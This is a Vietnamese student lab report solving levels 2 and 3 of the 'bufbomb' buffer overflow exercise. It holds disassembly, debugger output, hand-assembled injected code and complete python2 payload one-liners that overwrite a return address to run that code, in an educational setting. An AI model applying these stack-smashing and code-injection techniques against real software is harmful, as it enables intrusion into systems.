THỰC HÀNH LẬP TRÌNH HỆ THỐNG - LỚP NT209.L21.ANTN.1

BÀI THỰC HÀNH 6: Tấn công Buffer Overflow (tt)

Giảng viên hướng dẫn	Đỗ Thị Hương Lan		ĐIỂM
Sinh viên thực hiện 1	Nguyễn Phúc Chương	19520429	
Sinh viên thực hiện 2	Nguyễn Mỹ Quỳnh	19520241	

Level 2

Đầu tiên xác định vị trí lưu biến global_value

```
.text:80021BA9
.text:80021BA9                  public bang
.text:80021BA9 bang:
.text:80021BA9                  push    ebp
.text:80021BAA                  mov     ebp, esp
.text:80021BAC                  sub     esp, 8
.text:80021BAF                  mov     eax, ds:global_value
.text:80021BB4                  mov     edx, eax
.text:80021BB6                  mov     eax, ds:cookie
.text:80021BBB                  cmp     edx, eax
.text:80021BBD                  jnz     short loc_80021BE4
.text:80021BBF                  mov     eax, ds:global_value
.text:80021BC4                  sub     esp, 8
.text:80021BC7                  push    eax
.text:80021BC8                  push    offset aBangYouSetGlob ; "Bang!: You set global_value to 0x%x\n"
.text:80021BCD                  call    _printf
.text:80021BD2                  add     esp, 10h
.text:80021BD5                  sub     esp, 0Ch
.text:80021BD8                  push    2
.text:80021BDA                  call    validate
.text:80021BDF                  add     esp, 10h
.text:80021BE2                  jmp     short loc_80021BFA
.text:80021BE4 ; ---------------------------------------------------------------------------
```

Địa chỉ lưu global_value là 0x80027160

```
.bss:80027160                   public global_value
.bss:80027160 global_value      dd ?                    ; DATA XREF: .text:80021BAF↑r
.bss:80027160                                           ; .text:80021BBF↑r ...
```

Đề yêu cầu viết chuỗi thực thi để thay đổi global_value = cookie

Cookie = 0x1fe0bf28

```
┌──(kali㉿kali)-[~/CTF/LTHT/Lab5]
└─$ ./makecookie 04290241
0x1fe0bf28
```

Tìm địa chỉ của chuỗi buffer, đặt breakpoint ngay trước hàm Gets

```
► 0x800222f5 <getbuf+13>     call   Gets <Gets>
        arg[0]: 0x55683e18 (_reserved+1039896) —▸ 0xf7dfc4e7 (srandom+7) ◂— add    ebx, 0x1acb19
```

Ta có địa chỉ buffer là 0x55683e18, chương trình khá đặc biệt vì theo em để ý là chương trình tính và gán giá trị stack theo userid nhập, vì vậy chỉ cần cùng userid thì địa chỉ buffer sẽ không that đổi (không cần lo lắng về aslr).

Tìm địa chỉ hàm bang

```
pwndbg> x bang
0x80021ba9 <bang>:      0x83e58955
```

Ta viết mã exploit theo yêu cầu đề

movl $0x80027160, %eax # gan eax = cookie

movl $0x1fe0bf28, (%eax) # gan global = cookie

push $0x80021ba9 # dua vao dia chi ham bang

ret # ret

Biên dịch

```
┌──(kali㉿kali)-[~/CTF/LTHT/Lab5]
└─$ objdump -d 2.o

2.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 60 71 02 80          mov    $0x80027160,%eax
   5:   c7 00 28 bf e0 1f       movl   $0x1fe0bf28,(%eax)
   b:   68 a9 1b 02 80          push   $0x80021ba9
  10:   c3                      ret
```

Địa chỉ buffer là

```
1 int getbuf()
2 {
3   int v1; // [sp-28h] [bp-28h]@1
4
5   Gets(&v1);
6   return nullsub_10();
7 }
```

Vậy expliot của ta là: binarycode + padding + return address (buffer)

```
┌──(kali㉿kali)-[~/CTF/LTHT/Lab5]
└─$ python2 -c 'print "\xb8\x60\x71\x02\x80\xc7\x00\x28\xbf\xe0\x1f\x68\xa9\x1b\x02\x80\xc3" + "A" * (44 - 17) + "\x18\x3e
\x68\x55"' | ./bufbomb -u 04290241
Userid: 04290241
Cookie: 0x1fe0bf28
Type string:Bang!: You set global_value to 0x1fe0bf28
VALID
NICE JOB!
```

python2 -c 'print "\xb8\x60\x71\x02\x80\xc7\x00\x28\xbf\xe0\x1f\x68\xa9\x1b\x02\x80\xc3" + "A" * (44 - 17) + "\x18\x3e\x68\x55"' | ./bufbomb -u 04290241

Level 3

Cũng là chuỗi exploit ở level2 nhưng đề yêu cầu gán giá trị trả về bằng cookie và trở lại ban đầu. Trong quá trình overwrite return address thì chỉ có giá trị ebp của hàm trước bị thay đổi là đáng quan tâm, còn lại thì không. Vì trong bài này đặc biệt ebp và esp không chịu tác động của aslr, vì vậy giá trị ebp và esp không thay đổi, vì vậy khi overflow chúng ta sẽ đặt nguyên giá trị ebp như cũ vào để chương trình không bị thay đổi.

Tìm giá trị ebp và return address nếu không xảy ra bufferoverflow, đặt breakpoint ngay sau hàm gets. Không buffer overflow

```
pwndbg> x $ebp
0x55683e40 <_reserved+1039936>: 0x80021c1755683e60
```

Ebp: 0x55683e60

Ret: 0x80021c17

Mã exploit

movl $0x1fe0bf28, %eax # gan eax = cookie

push $0x80021c17 # dua vao dia chi return address cu

ret # ret

Biên dịch

```
┌──(kali㉿kali)-[~/CTF/LTHT/Lab5]
└─$ objdump -d 3.o

3.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   b8 28 bf e0 1f          mov    $0x1fe0bf28,%eax
   5:   68 17 1c 02 80          push   $0x80021c17
   a:   c3                      ret
```

Exploit: binarycode + padding + (ebp cũ) + return address (buffer)

```
┌──(kali㉿kali)-[~/CTF/LTHT/Lab5]
└─$ python2 -c 'print "\xb8\x28\xbf\xe0\x1f\x68\x17\x1c\x02\x80\xc3" + "A" * (40 - 11) + "\x60\x3e\x68\x55" + "\x18\x3e\x68\x55"' | ./bufbomb -u 04290241

Userid: 04290241
Cookie: 0x1fe0bf28
Type string:Boom!: getbuf returned 0x1fe0bf28
VALID
NICE JOB!
```

python2 -c 'print "\xb8\x28\xbf\xe0\x1f\x68\x17\x1c\x02\x80\xc3" + "A" * (40 - 11) + "\x60\x3e\x68\x55" + "\x18\x3e\x68\x55"' | ./bufbomb -u 04290241